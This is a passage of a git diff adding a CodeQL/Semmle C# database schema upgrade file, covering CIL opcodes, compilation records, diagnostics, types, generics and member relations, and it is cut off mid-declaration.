@cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/cfaa4e90da23a5ca3f0e914fbd5ca689ba0282d9/semmlecode.csharp.dbscheme b/csharp/upgrades/cfaa4e90da23a5ca3f0e914fbd5ca689ba0282d9/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..b93e202508f --- /dev/null +++ b/csharp/upgrades/cfaa4e90da23a5ca3f0e914fbd5ca689ba0282d9/semmlecode.csharp.dbscheme @@ -0,0 +1,1894 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor 